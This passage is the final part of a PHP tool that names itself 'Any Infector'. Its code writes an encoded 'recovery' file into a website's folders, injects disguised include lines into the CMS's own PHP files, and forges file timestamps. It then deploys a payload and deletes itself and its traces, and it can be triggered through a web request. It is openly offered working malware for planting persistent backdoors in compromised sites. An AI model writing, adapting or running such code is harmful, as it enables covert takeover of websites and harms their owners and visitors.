_log('WARN', 'Recovery: no writeable resource folder found for static file.');
return null;
}
$relFolder = _me_first_key($selected);
$filesStr = $selected[$relFolder];
$fullFolder = str_replace('//', '/', "$siteRoot/$relFolder");
$existing = @scandir($fullFolder);
$existing = $existing ? array_diff($existing, array('.', '..')) : array();
$newName = generate_random_filename($existing, $filesStr);
$encoded = encode_recovery_content($recoveryPhp);
$dstFull = str_replace('//', '/', "$fullFolder/$newName");
$ok = false;
if (@file_put_contents($dstFull, $encoded) !== false) {
$ok = true;
} else {
$dst = @fopen($dstFull, 'wb');
if ($dst) { fwrite($dst, $encoded); fclose($dst); $ok = is_file($dstFull); }
}
if (!$ok) {
_log('ERROR', "Recovery static file write FAILED: $dstFull");
return null;
}
blend_file_mtime($dstFull);
$relPath = ($relFolder === '.' ? $newName : "$relFolder/$newName");
_log('INFO', "Recovery static file written: $relPath");
return $relPath;
}
function deploy_recovery_code($siteRoot, $cmsType, $indexRel, $indexB64, $indexMd5, $payloadRel, $payloadB64, $payloadMd5, $sentinelTok, $scriptDir) {
if (empty($GLOBALS['RECOVER_INDEX']) || empty($GLOBALS['RECOVER_PHP_FILE'])) {
_log('INFO', 'Recovery: disabled (RECOVER_INDEX=' . var_export($GLOBALS['RECOVER_INDEX'], true)
. ', RECOVER_PHP_FILE=' . $GLOBALS['RECOVER_PHP_FILE'] . '). Skipping.');
return array('recover_file' => false, 'injects' => array(), 'hashes' => array());
}
$recoveryPhp = build_recovery_code($indexRel, $indexB64, $indexMd5, $payloadRel, $payloadB64, $payloadMd5, $sentinelTok, $cmsType);
$recoverFile = write_recover_static_file($siteRoot, $cmsType, $recoveryPhp, $scriptDir);
if ($recoverFile === null) {
_log('WARN', 'Recovery: could not write static recovery file - skipping injection.');
return array('recover_file' => false, 'injects' => array(), 'hashes' => array());
}
$want = $GLOBALS['RECOVER_PHP_FILE'] + 3;
$targets = pick_recover_targets($siteRoot, $cmsType, $want);
if (empty($targets)) {
_log('WARN', 'Recovery: no injectable system PHP files found - static file left but nothing injected.');
return array('recover_file' => $recoverFile, 'injects' => array(), 'hashes' => array());
}
$injects = array();
$hashes = array();
$deployed = 0;
foreach ($targets as $t) {
$tpath = $t['path'];
$includeLine = generate_include_line($recoverFile, $tpath);
if (stripos($includeLine, '@' . 'includ' . 'e_once') !== 0) {
_log('ERROR', "Recovery include line invalid for $tpath - skipping.");
continue;
}
$result = inject_into_file($siteRoot, $tpath, $includeLine, 'rand');
if ($result !== null) {
$fullTarget = str_replace('//', '/', "$siteRoot/$tpath");
$hashes[$tpath] = is_file($fullTarget) ? md5_file($fullTarget) : '';
if ($result !== '') {
$injects[$tpath] = $result;
}
_log('INFO', "Recovery include injected into: $tpath");
blend_file_mtime($fullTarget);
$deployed++;
if ($deployed >= $GLOBALS['RECOVER_PHP_FILE']) break;
} else {
_log('ERROR', "Recovery include injection FAILED: $tpath");
}
}
_log('INFO', 'Recovery deployed: static file + ' . count($injects) . ' include(s).');
return array('recover_file' => $recoverFile, 'injects' => $injects, 'hashes' => $hashes);
}
function output_html($success, $logs) {
$color = $success ? '#2d8a2d' : '#c0392b';
$status = $success ? 'SUCCESS' : 'FAILED';
$logText = implode("\n", array_map('htmlspecialchars', $logs));
header('Content-Type: text/html; charset=utf-8');
echo <<<HTML
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Any Infector - $status</title>
<style>
body{font-family:Consolas,monospace;background:#1a1a1a;color:#ddd;margin:20px;}
h1{color:$color;} .log{background:#111;padding:15px;border-radius:6px;white-space:pre-wrap;
word-break:break-all;max-height:80vh;overflow:auto;font-size:13px;line-height:1.5;}
.summary{padding:10px 16px;background:$color;color:#fff;border-radius:6px;display:inline-block;margin-bottom:12px;}
</style>
</head>
<body>
<h1>Any Infector - $status</h1>
<div class="summary">$status</div>
<div class="log">$logText</div>
</body>
</html>
HTML;
}
function resolve_payload_path($scriptDir) {
$payloadPath = !empty($GLOBALS['_PAYLOAD_RESOLVED']) ? $GLOBALS['_PAYLOAD_RESOLVED'] : null;
if ($payloadPath === null && !empty($GLOBALS['PAYLOAD_FILE'])) {
$payloadPath = find_payload_file($scriptDir, $GLOBALS['PAYLOAD_FILE']);
}
if ($payloadPath === null) {
foreach ((array)@scandir($scriptDir) as $f) {
if (preg_match('/^\d{1,15}-[a-zA-Z0-9]{1,15}\.txt$/i', $f)) {
$payloadPath = "$scriptDir/$f";
break;
}
}
}
return $payloadPath;
}
function delete_payload_file($scriptDir) {
$payloadPath = resolve_payload_path($scriptDir);
if (!empty($payloadPath) && is_file($payloadPath)) {
if (@unlink($payloadPath)) {
_log('INFO', 'Self-destruct: deleted payload file ' . basename($payloadPath));
} else {
_log('WARN', 'Self-destruct: could not delete payload file ' . basename($payloadPath));
}
}
}
function self_destruct($scriptDir, $infoPath) {
delete_payload_file($scriptDir);
if (!empty($GLOBALS['RES_INFO']) && is_file($infoPath)) {
if (@unlink($infoPath)) {
_log('INFO', 'Self-destruct: deleted ' . basename($infoPath));
} else {
_log('WARN', 'Self-destruct: could not delete ' . basename($infoPath));
}
}
if (_ME_IS_WRAPPED) {
$GLOBALS['____WRAPPER_DELETE'] = true;
_log('INFO', 'Self-destruct: signaled wrapper to delete itself');
} else {
if (@unlink(__FILE__)) {
_log('INFO', 'Self-destruct: deleted script itself');
} else {
_log('WARN', 'Self-destruct: could not delete script itself - remove it manually');
}
}
}
function auto_mode_self_destruct($scriptDir, $infoPath, $mode, $reason) {
if (!empty($GLOBALS['RUN_METHOD'])) {
return false;
}
_log('WARN', "Auto mode (RUN_METHOD=false): validation failed - self-destructing; reason saved to " . basename($infoPath));
$lines = array(
'MODE:' . strtoupper($mode),
'TIME:' . date('Y-m-d H:i:s'),
'STATUS:FAILED',
'REASON:' . str_replace(array("\r", "\n"), ' ', $reason),
);
$plain = implode("\n", $lines) . "\n";
$enc = info_encrypt($plain);
@file_put_contents($infoPath, $enc !== null ? $enc . "\n" : $plain);
_log('INFO', 'Auto-destruct: wrote failure reason to ' . basename($infoPath));
delete_payload_file($scriptDir);
if (_ME_IS_WRAPPED) {
$GLOBALS['____WRAPPER_DELETE'] = true;
_log('INFO', 'Auto-destruct: signaled wrapper to delete itself');
return true;
}
if (@unlink(__FILE__)) {
_log('INFO', 'Auto-destruct: deleted script itself');
return true;
}
_log('WARN', 'Auto-destruct: could not delete script itself - remove it manually');
return false;
}
if (php_sapi_name() === 'cli' && isset($argv[1])) {
$modeRaw = strtolower(trim($argv[1]));
} elseif (isset($_GET['mode'])) {
$modeRaw = strtolower(trim($_GET['mode']));
} else {
$modeRaw = $MODE;
}
if (in_array($modeRaw, array('true', 'add', '1', 'yes', 'on'))) {
$mode = 'add';
} elseif (in_array($modeRaw, array('false', 'remove', 'clean', '0', 'no', 'off', 'delete'))) {
$mode = 'remove';
} else {
$mode = 'add';
}
$scriptDir = _ME_RUNNING_DIR;
$infoPath = $scriptDir . '/' . $INFO_FILE;
if (empty($SITE_ROOT)) {
$siteRoot = detect_site_root($scriptDir);
if ($siteRoot === null) {
_log('ERROR', 'Could not auto-detect site root.');
_log('ERROR', 'Please set $SITE_ROOT manually in the script.');
auto_mode_self_destruct($scriptDir, $infoPath, $mode, 'Could not auto-detect site root (set $SITE_ROOT manually)');
output_html(false, $_logs);
exit(1);
}
} else {
$siteRoot = rtrim(str_replace('\\', '/', $SITE_ROOT), '/');
}
_log('INFO', "Script dir: $scriptDir");
_log('INFO', "Site root: $siteRoot");
_log('INFO', "Info file: $infoPath");
_log('INFO', "Mode: $mode");
_log('INFO', "Folder count: " . $GLOBALS['FOLDER_COUNT']);
_log('INFO', "Random PHP targets: " . $GLOBALS['RAND_PHP_FILE']);
if (!is_dir($siteRoot)) {
_log('ERROR', "Site root not found: $siteRoot");
auto_mode_self_destruct($scriptDir, $infoPath, $mode, "Site root not found: $siteRoot");
output_html(false, $_logs);
exit(1);
}
if (!is_file("$siteRoot/index.php")) {
if (is_file("$siteRoot/index.html")) {
_log('INFO', "index.php not found but index.html exists - static site detected, will rename during injection.");
} else {
_log('ERROR', "index.php not found in site root: $siteRoot. "
. "If this CMS uses a different entry point, add it to \$TARGET_FILES and set \$SITE_ROOT manually.");
auto_mode_self_destruct($scriptDir, $infoPath, $mode, "index.php not found in site root: $siteRoot");
output_html(false, $_logs);
exit(1);
}
}
if ($mode === 'add') {
$success = do_add($scriptDir, $siteRoot, $infoPath, $GLOBALS['FOLDER_COUNT'], $GLOBALS['TARGET_FILES']);
} else {
$success = do_remove($scriptDir, $siteRoot, $infoPath);
}
if (empty($GLOBALS['_PAYLOAD_MISSING'])) {
self_destruct($scriptDir, $infoPath);
} else {
_log('WARN', 'Payload was missing or ambiguous - skipping self-destruct. Fix the xxxx-xxxx.txt payload file (upload it or keep only one) and run again.');
}
if (php_sapi_name() === 'cli') {
echo implode("\n", $_logs) . "\n";
exit($success ? 0 : 1);
}
output_html($success, $_logs);